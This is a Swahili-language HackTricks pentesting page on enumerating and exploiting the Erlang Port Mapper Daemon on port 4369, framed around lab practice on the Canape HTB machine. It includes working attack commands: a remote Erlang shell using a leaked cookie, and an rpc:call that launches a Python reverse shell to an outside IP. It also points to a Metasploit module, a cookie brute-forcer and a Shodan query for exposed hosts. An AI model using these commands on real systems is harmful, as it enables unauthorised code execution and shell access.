6.6 KiB
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi
Erlang Port Mapper Daemon (epmd) hutumika kama mratibu wa mifano iliyosambazwa ya Erlang. Inawajibika kwa kufanya ramani ya majina ya alama ya nodi kuwa anwani za mashine, kwa msingi huu inahakikisha kuwa kila jina la nodi linahusishwa na anwani maalum. Jukumu hili la epmd ni muhimu kwa mwingiliano na mawasiliano laini kati ya nodi tofauti za Erlang kwenye mtandao.
Bandari ya chaguo-msingi: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
Hii hutumiwa kwa chaguo-msingi kwenye ufungaji wa RabbitMQ na CouchDB.
Uchunguzi
Kwa Mkono
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
Kiotomatiki
Erlang Port Mapper Daemon (EPMD) ni huduma ya msingi katika mazingira ya Erlang ambayo inaruhusu mawasiliano kati ya mchakato wa Erlang kwenye seva tofauti. Kwa kawaida, EPMD inasikiliza kwa TCP kwenye bandari 4369.
Kwa kuzingatia umuhimu wake katika mawasiliano ya mchakato wa Erlang, EPMD inaweza kuwa hatari ikiwa imeachwa wazi au ikiwa ina udhaifu. Kwa hivyo, wakati wa kufanya pentesting, ni muhimu kuchunguza EPMD na kuchunguza ikiwa kuna njia yoyote ya kuvunja usalama.
Kuna njia kadhaa za kufanya hivyo. Moja ya njia ni kutumia nmap kuchunguza bandari 4369 kwenye anwani ya IP ya lengo. Kwa mfano, unaweza kutumia amri ifuatayo:
nmap -p 4369 <IP_address>
Ikiwa bandari 4369 imefunguliwa, hii inaweza kuashiria kuwa EPMD inafanya kazi na inaweza kupatikana. Kisha, unaweza kutumia zana kama epmd_client
kuchunguza habari zaidi kuhusu EPMD na mchakato wa Erlang unaofanya kazi kwenye seva.
Kwa kumalizia, kuchunguza EPMD ni hatua muhimu katika pentesting ya mazingira ya Erlang. Kwa kutumia zana sahihi na kufanya uchunguzi wa kina, unaweza kugundua udhaifu wowote na kuchukua hatua za kurekebisha ili kuzuia uwezekano wa uvunjaji wa usalama.
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Uhusiano wa Mbali
Ikiwa unaweza kuvuja kuki ya uthibitisho, utaweza kutekeleza nambari kwenye mwenyeji. Kawaida, kuki hii iko katika ~/.erlang.cookie
na hutengenezwa na erlang wakati wa kuanza kwa kwanza. Ikiwa haijasahihishwa au kuwekwa kwa mkono, ni herufi za nasibu [A:Z] zenye urefu wa herufi 20.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
Maelezo zaidi yanapatikana katika https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Mwandishi pia anashiriki programu ya kuvunja nguvu kuki:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
Uunganisho wa Ndani
Katika kesi hii, tutatumia CouchDB kuongeza mamlaka kwa kiwango cha ndani:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
Mfano uliopatikana kutoka https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Unaweza kutumia Canape HTB machine kwa mazoezi ya jinsi ya kutumia udhaifu huu.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "kwenye bandari"
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye HackTricks na HackTricks Cloud repos za github.